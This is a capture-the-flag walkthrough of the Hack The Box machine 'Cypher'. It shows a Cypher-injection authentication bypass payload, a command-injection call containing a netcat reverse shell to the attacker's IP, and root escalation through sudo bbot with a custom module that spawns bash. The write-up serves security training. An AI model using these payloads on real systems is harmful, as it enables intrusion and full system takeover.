HTB: Cypher

Description

Cypher is a medium-difficulty box that demonstrates Cypher injection, JAR file reversing, and privilege escalation through bbot.

Recon

nmap

Result of nmap scan :

# Nmap 7.95 scan initiated Sat Mar  1 19:30:40 2025 as: nmap -vvv -F -4 -sSCV -oN fast_tcp_scan.txt 10.10.11.57
Nmap scan report for cypher.htb (10.10.11.57)
Host is up, received echo-reply ttl 63 (0.032s latency).
Scanned at 2025-03-01 19:30:40 GMT for 8s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
|   256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are only two open ports: 22 and 80. I will check the HTTP response Location header, which indicates a redirect. Sometimes, it reveals the domain.

$ curl -sI http://10.10.11.57/ | rg 'Location'
Location: http://cypher.htb

It redirects to the cypher.htb domain. Add the domain to the /etc/hosts file

10.10.11.57 cypher.htb

80 - TCP

Enumeration

I’ll just fuzz the web application to see if we can find any hidden endpoints.

$ feroxbuster -n --no-state -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://cypher.htb/
...
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      162l      360w     4562c http://cypher.htb/index
200      GET      179l      477w     4986c http://cypher.htb/about
200      GET      126l      274w     3671c http://cypher.htb/login
200      GET       63l      139w     1548c http://cypher.htb/utils.js
307      GET        0l        0w        0c http://cypher.htb/demo => http://cypher.htb/login
200      GET        3l      113w     8123c http://cypher.htb/bootstrap-notify.min.js
405      GET        1l        3w       31c http://cypher.htb/api/auth
307      GET        0l        0w        0c http://cypher.htb/api/ => http://cypher.htb/api/api
307      GET        0l        0w        0c http://cypher.htb/api => http://cypher.htb/api/docs
200      GET        7l     1223w    80496c http://cypher.htb/bootstrap.bundle.min.js
200      GET        2l     1293w    89664c http://cypher.htb/jquery-3.6.1.min.js
200      GET      876l     4886w   373109c http://cypher.htb/logo.png
200      GET     7333l    24018w   208204c http://cypher.htb/vivagraph.min.js
200      GET      162l      360w     4562c http://cypher.htb/
200      GET       12l     2173w   195855c http://cypher.htb/bootstrap.min.css
301      GET        7l       12w      178c http://cypher.htb/testing => http://cypher.htb/testing/
404      GET        1l        2w       22c http://cypher.htb/demos
200      GET     5632l    33572w  2776750c http://cypher.htb/us.png
...

The web fuzzer reveals an interesting /testing/ endpoint, which contains the file custom-apoc-extension-1.0-SNAPSHOT.jar.

JAR File

Then, use jadx-gui to decompile the bytecode.

Command Injection

I found a command injection vulnerability in CustomFunctions, but I haven’t identified a way to reach that code yet. Therefore, let’s continue analyzing the web application.
Next, explore the web application, noting that you’ll need to log in. I recommend using Burpsuite while exploring the web application. Since it’s a login page, it’s worthwhile to try injecting a single quote (') to see if it breaks the query.

Cypher Injection

The application throws an error, indicating a potential vulnerability to Cypher injection, since the query syntax is Cypher. The injection only works on the username parameter and returns h.value as hash at the end of the query.
The h comes from h:SHA1 so it should be a SHA1 hash. We can bypass the authentication by making the username query true and return arbitrary SHA1 hash that matches the plaintext in the password parameter.

Payload :

1
{
2
  "username": "' OR 1=1 RETURN 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3' as hash//",
3
  "password": "test"
4
}

Accessing the /demo endpoint reveals that we can now execute arbitrary Cypher queries.

Main website

After a while, I found that the database contained no useful information. We can list all the procedures using SHOW PROCEDURES to see if there are any interesting ones.

Procedures

Command Injection

And we can see two custom procedures, that come from the JAR file we found earlier. Let’s just call the custom.getUrlStatusCode procedure and use ; to inject a command.

1
CALL custom.getUrlStatusCode("nuhuh;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.116 9001 >/tmp/f")

Shell as neo4j

Enumeration

If you run the history command, you’ll see a command containing a password. This password might be worth trying for other users on this machine which is the graphasm user.

neo4j@cypher:~$ history
history
    1  neo4j-admin dbms set-initial-password <password>

It can be found from the /home/graphasm/bbot_preset.yml file too.

Just SSH into the machine as graphasm user.

Shell as graphasm

User flag

graphasm@cypher:~$ cat user.txt
deadbeef4aa252b7921aebf9fee9fake

Sudo access

The current user can execute /usr/local/bin/bbot with ALL access.

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

By looking at the help command, we can read a file using the -d and -cf flag. You can add --dry-run flag so that we don’t need an actual target.

Root flag

graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
...
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: deadbeef391d500f1073fab93010fake
...

If you want to spawn a shell, you can load a custom module.

The preset file :

1
# load extra BBOT modules from this location
2
module_dirs:
3
  - /tmp/.test
4
modules:
5
  - jergal

The module file :

1
from bbot.modules.base import BaseModule
2

3
class jergal(BaseModule):
4
    # one-time setup - runs at the beginning of the scan
5
    async def setup(self):
6
        import os; os.system("/bin/bash")

Run the preset :

graphasm@cypher:/tmp/.test$ sudo bbot -p ./custom_modules.yml --dry-run
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (jergal)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
root@cypher:/tmp/.test# whoami
root
root@cypher:/tmp/.test#